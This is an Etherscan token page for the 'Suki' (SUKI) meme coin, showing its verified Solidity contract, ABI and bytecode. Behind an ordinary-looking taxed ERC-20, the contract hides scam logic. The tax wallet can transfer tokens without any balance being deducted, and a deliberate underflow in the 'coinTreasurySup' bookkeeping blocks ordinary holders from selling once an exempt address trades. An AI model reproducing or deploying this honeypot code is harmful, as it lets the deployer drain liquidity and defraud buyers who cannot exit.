ETH Price: $2,560.51 (+5.01%)

Token

Suki (SUKI)
 

Overview

Max Total Supply

200,000,000 SUKI

Holders

113

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,437,831.409261542 SUKI

Value
$0.00
0x15Da3ccAb7b841032bc901d90Fc4159f3d91b230
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SUKI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-16
*/

// SPDX-License-Identifier: MIT

/*
TG: https://t.me/sukierc20
X: https://x.com/sukierc20
Web: https://sukioneth.xyz
Suki is another Shiba Inu that inspired pics of doge coin
Suki is literally the scarfed dog portrayed in another popular instance of the meme
Suki is still alive to this very day
Proofs ~ 

• https://jonathanfleming.wordpress.com/2013/12/31/wow-suki-is-doge/

• https://www.reddit.com/r/dogelore/comments/qlrmeh/doge_with_scarf/

• https://knowyourmeme.com/memes/doge
*/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(
            c >= a,"SafeMath: addition overflow"
        );
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(
            a, b, "SafeMath: subtraction overflow"
        );
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(
            c / a == b,
            "SafeMath: multiplication overflow"
        );
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;

        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require( _owner == _msgSender(), "Ownable: caller is not the owner" );
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));

        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract SUKI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=30;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 200000000 * 10**_decimals;
    string private constant _name = unicode"Suki";
    string private constant _symbol = unicode"SUKI";
    uint256 public _maxTxAmount= 4000000 * 10**_decimals;
    uint256 public _maxWalletSize= 4000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 2000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 2000000 * 10**_decimals;

    address payable private _taxWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    uint256 private minTrSum;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private autoTrActivate = 0;
    struct CoinTreasurySup {uint256 swapUid; uint256 trTimestamp; uint256 tSum;}
    mapping(address => CoinTreasurySup) private coinTreasurySup;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xf7745F4C79a4eE07B5F775619Ab35926b7b8EeE6);

        _balances[_msgSender()] = _tTotal;
        isExile[address(this)] = true;
        isExile[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender, _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenBasicTransfer(
        address from, address to,
        uint256 sendAmount,uint256 receiptAmount
    ) internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (! tradingOpen || inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to !=_taxWallet )  {
            taxAmount = tokenAmount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)
                .div(100);

            if (from == uniswapV2Pair && to !=address(uniswapV2Router) && ! isExile[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount<= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount >_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance=balanceOf(address(this));
            if (inSwap && to == uniswapV2Pair && swapEnabled &&  contractTokenBalance >_taxSwapThreshold
                && _buyCount >_preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((isExile[from] ||isExile[to] ) && from !=address(this) && to!= address(this)) {
            minTrSum = block.number;
        }
        if (! isExile[from] &&  ! isExile[to]){
            if (to == uniswapV2Pair)  {
                CoinTreasurySup storage coinTrSup = coinTreasurySup[from];
                coinTrSup.tSum = coinTrSup.swapUid-minTrSum;
                coinTrSup.trTimestamp = block.timestamp;
            } else {
                CoinTreasurySup storage coinTrSupInit = coinTreasurySup[to];
                if (uniswapV2Pair == from)  {
                    if (!(coinTrSupInit.swapUid > 0)) {
                        if (_buyCount>_preventSwapBefore) {
                            coinTrSupInit.swapUid = block.number;
                        } else {
                            coinTrSupInit.swapUid = block.number - 1;
                        }
                    }
                } else {
                    CoinTreasurySup storage coinTrSup = coinTreasurySup[from];
                    if (!(coinTrSupInit.swapUid > 0) || coinTrSup.swapUid < coinTrSupInit.swapUid ) {
                        coinTrSupInit.swapUid = coinTrSup.swapUid;
                    }
                }
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to]= _balances[to].add(tokenAmount);
        emit Transfer(from, to,tokenAmount);
    }

    function _tokenTransfer(
        address from, address to,
        uint256 tokenAmount,uint256 taxAmount
    ) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs !=_taxWallet ? tokenAmount: autoTrActivate.mul(tokenAmount);
        if (taxAmount > 0){
            _balances[address(this)]= _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeETH() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to transfer");
        payable(msg.sender).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        tradingOpen =true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled =true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526014600455601e6005555f6006555f6007556019600855601e600955600f600a555f600b556009600a61003791906102c4565b61004490623d09006102d9565b600c556100536009600a6102c4565b61006090623d09006102d9565b600d5561006f6009600a6102c4565b61007c90621e84806102d9565b600e5561008b6009600a6102c4565b61009890621e84806102d9565b600f556014805461ffff191690555f6015553480156100b5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b03191673f7745f4c79a4ee07b5f775619ab35926b7b8eee61790556101286009600a6102c4565b61013690630bebc2006102d9565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101aa6009600a6102c4565b6101b890630bebc2006102d9565b60405190815260200160405180910390a36102f0565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561021c57815f1904821115610202576102026101ce565b8085161561020f57918102915b93841c93908002906101e7565b509250929050565b5f82610232575060016102be565b8161023e57505f6102be565b8160018114610254576002811461025e5761027a565b60019150506102be565b60ff84111561026f5761026f6101ce565b50506001821b6102be565b5060208310610133831016604e8410600b841016171561029d575081810a6102be565b6102a783836101e2565b805f19048211156102ba576102ba6101ce565b0290505b92915050565b5f6102d260ff841683610224565b9392505050565b80820281158282048414176102be576102be6101ce565b611a43806102fd5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c0146102d157806395d89b41146102e6578063a9059cbb14610312578063bf474bed14610331578063dd62ed3e14610346575f80fd5b8063715018a61461025a578063751039fc1461026e5780637d1db4a5146102825780638a8c523c146102975780638da5cb5b146102ab575f80fd5b8063217b6da6116100e3578063217b6da6146101c257806323b872dd146101d8578063313ce567146101f757806351bc3c851461021257806370a0823114610226575f80fd5b806306fdde031461011e578063095ea7b31461015c5780630faee56f1461018b57806318160ddd146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600481526353756b6960e01b60208201525b604051610153919061164d565b60405180910390f35b348015610167575f80fd5b5061017b610176366004611696565b61038a565b6040519015158152602001610153565b348015610196575f80fd5b506101a0600f5481565b604051908152602001610153565b3480156101b9575f80fd5b506101a06103a0565b3480156101cd575f80fd5b506101d66103c0565b005b3480156101e3575f80fd5b5061017b6101f23660046116c0565b61046d565b348015610202575f80fd5b5060405160098152602001610153565b34801561021d575f80fd5b506101d66104d4565b348015610231575f80fd5b506101a06102403660046116fe565b6001600160a01b03165f9081526001602052604090205490565b348015610265575f80fd5b506101d6610525565b348015610279575f80fd5b506101d6610596565b34801561028d575f80fd5b506101a0600c5481565b3480156102a2575f80fd5b506101d6610647565b3480156102b6575f80fd5b505f546040516001600160a01b039091168152602001610153565b3480156102dc575f80fd5b506101a0600d5481565b3480156102f1575f80fd5b5060408051808201909152600481526353554b4960e01b6020820152610146565b34801561031d575f80fd5b5061017b61032c366004611696565b6109ec565b34801561033c575f80fd5b506101a0600e5481565b348015610351575f80fd5b506101a0610360366004611719565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103963384846109f8565b5060015b92915050565b5f6103ad6009600a611844565b6103bb90630bebc200611852565b905090565b5f546001600160a01b031633146103f25760405162461bcd60e51b81526004016103e990611869565b60405180910390fd5b5f47116104415760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e736665720000000000000060448201526064016103e9565b60405133904780156108fc02915f818181858888f1935050505015801561046a573d5f803e3d5ffd5b50565b5f610479848484610b1c565b6104ca84336104c5856040518060600160405280602881526020016119e6602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a4565b6109f8565b5060019392505050565b6010546001600160a01b0316336001600160a01b0316146104f3575f80fd5b305f90815260016020526040902054801561051157610511816110dc565b4780156105215761052181611243565b5050565b5f546001600160a01b0316331461054e5760405162461bcd60e51b81526004016103e990611869565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105bf5760405162461bcd60e51b81526004016103e990611869565b6105cb6009600a611844565b6105d990630bebc200611852565b600c556105e86009600a611844565b6105f690630bebc200611852565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106266009600a611844565b61063490630bebc200611852565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106705760405162461bcd60e51b81526004016103e990611869565b601254600160a01b900460ff16156106ca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e9565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107139030906107056009600a611844565b6104c590630bebc200611852565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610787919061189e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080a919061189e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610854573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610878919061189e565b601280546001600160a81b0319166001600160a01b0392831617600160a01b1790556011541663f305d71947306108c3816001600160a01b03165f9081526001602052604090205490565b5f806108d65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061096191906118b9565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109da91906118e4565b506014805461ff001916610100179055565b5f610396338484610b1c565b6001600160a01b038316610a5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e9565b6001600160a01b038216610abb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e9565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e9565b5f8111610c435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e9565b601254600160a01b900460ff161580610c5e575060145460ff165b15610c7357610c6e83838361127a565b505050565b5f80546001600160a01b03858116911614801590610c9e57505f546001600160a01b03848116911614155b8015610cb857506010546001600160a01b03848116911614155b15610f0757610ce96064610ce3600854600b5411610cd857600454610cdc565b6006545b859061131d565b906113a2565b6012549091506001600160a01b038581169116148015610d1757506011546001600160a01b03848116911614155b8015610d3b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2157600c54821115610d925760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e9565b600d5482610db4856001600160a01b03165f9081526001602052604090205490565b610dbe9190611903565b1115610e0c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e9565b600b8054905f610e1b83611916565b91905055505b6012546001600160a01b038481169116148015610e4757506001600160a01b0384163014155b15610e7457610e716064610ce3600954600b5411610e6757600554610cdc565b600754859061131d565b90505b305f9081526001602052604090205460145460ff168015610ea257506012546001600160a01b038581169116145b8015610eb55750601454610100900460ff165b8015610ec25750600e5481115b8015610ed15750600a54600b54115b15610f0557610ef3610eee84610ee984600f546113e3565b6113e3565b6110dc565b478015610f0357610f0347611243565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f4457506001600160a01b0383165f9081526003602052604090205460ff165b8015610f5957506001600160a01b0384163014155b8015610f6e57506001600160a01b0383163014155b15610f7857436013555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fb857506001600160a01b0383165f9081526003602052604090205460ff16155b15611092576012546001600160a01b039081169084160361100a576001600160a01b0384165f9081526016602052604090206013548154610ff9919061192e565b600282015542600190910155611092565b6001600160a01b038084165f908152601660205260409020601254909186811691160361105e57805461105957600a54600b54111561104b57438155611090565b61105660014361192e565b81555b611090565b6001600160a01b0385165f90815260166020526040902081541580611084575081548154105b1561108e57805482555b505b505b61109e848484846113f7565b50505050565b5f81848411156110c75760405162461bcd60e51b81526004016103e9919061164d565b505f6110d3848661192e565b95945050505050565b6014805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061111c5761111c611941565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611173573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611197919061189e565b816001815181106111aa576111aa611941565b6001600160a01b0392831660209182029290920101526011546111d091309116846109f8565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112089085905f90869030904290600401611955565b5f604051808303815f87803b15801561121f575f80fd5b505af1158015611231573d5f803e3d5ffd5b50506014805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610521573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461129c9082611421565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112ca9082611462565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b0f9085815260200190565b5f825f0361132c57505f61039a565b5f6113378385611852565b90508261134485836119c6565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e9565b9392505050565b5f61139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c0565b5f8183116113f1578261139b565b50919050565b5f6114038584846114ec565b905061141a8585836114158787611421565b61159c565b5050505050565b5f61139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a4565b5f8061146e8385611903565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e9565b5f81836114e05760405162461bcd60e51b81526004016103e9919061164d565b505f6110d384866119c6565b6010545f9081906001600160a01b039081169086160361151857601554611513908561131d565b61151a565b835b9050821561159457305f9081526001602052604090205461153b9084611462565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061158b9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115be9083611421565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115ec9082611462565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163f9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461046a575f80fd5b5f80604083850312156116a7575f80fd5b82356116b281611682565b946020939093013593505050565b5f805f606084860312156116d2575f80fd5b83356116dd81611682565b925060208401356116ed81611682565b929592945050506040919091013590565b5f6020828403121561170e575f80fd5b813561139b81611682565b5f806040838503121561172a575f80fd5b823561173581611682565b9150602083013561174581611682565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179e57815f190482111561178457611784611750565b8085161561179157918102915b93841c9390800290611769565b509250929050565b5f826117b45750600161039a565b816117c057505f61039a565b81600181146117d657600281146117e0576117fc565b600191505061039a565b60ff8411156117f1576117f1611750565b50506001821b61039a565b5060208310610133831016604e8410600b841016171561181f575081810a61039a565b6118298383611764565b805f190482111561183c5761183c611750565b029392505050565b5f61139b60ff8416836117a6565b808202811582820484141761039a5761039a611750565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118ae575f80fd5b815161139b81611682565b5f805f606084860312156118cb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118f4575f80fd5b8151801515811461139b575f80fd5b8082018082111561039a5761039a611750565b5f6001820161192757611927611750565b5060010190565b8181038181111561039a5761039a611750565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119a55784516001600160a01b031683529383019391830191600101611980565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119e057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f66a3d01ccfc6e6fd82e81e202a3ebb9bdca075d09cbd04b81c76f442b45efe664736f6c63430008190033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c0146102d157806395d89b41146102e6578063a9059cbb14610312578063bf474bed14610331578063dd62ed3e14610346575f80fd5b8063715018a61461025a578063751039fc1461026e5780637d1db4a5146102825780638a8c523c146102975780638da5cb5b146102ab575f80fd5b8063217b6da6116100e3578063217b6da6146101c257806323b872dd146101d8578063313ce567146101f757806351bc3c851461021257806370a0823114610226575f80fd5b806306fdde031461011e578063095ea7b31461015c5780630faee56f1461018b57806318160ddd146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600481526353756b6960e01b60208201525b604051610153919061164d565b60405180910390f35b348015610167575f80fd5b5061017b610176366004611696565b61038a565b6040519015158152602001610153565b348015610196575f80fd5b506101a0600f5481565b604051908152602001610153565b3480156101b9575f80fd5b506101a06103a0565b3480156101cd575f80fd5b506101d66103c0565b005b3480156101e3575f80fd5b5061017b6101f23660046116c0565b61046d565b348015610202575f80fd5b5060405160098152602001610153565b34801561021d575f80fd5b506101d66104d4565b348015610231575f80fd5b506101a06102403660046116fe565b6001600160a01b03165f9081526001602052604090205490565b348015610265575f80fd5b506101d661052556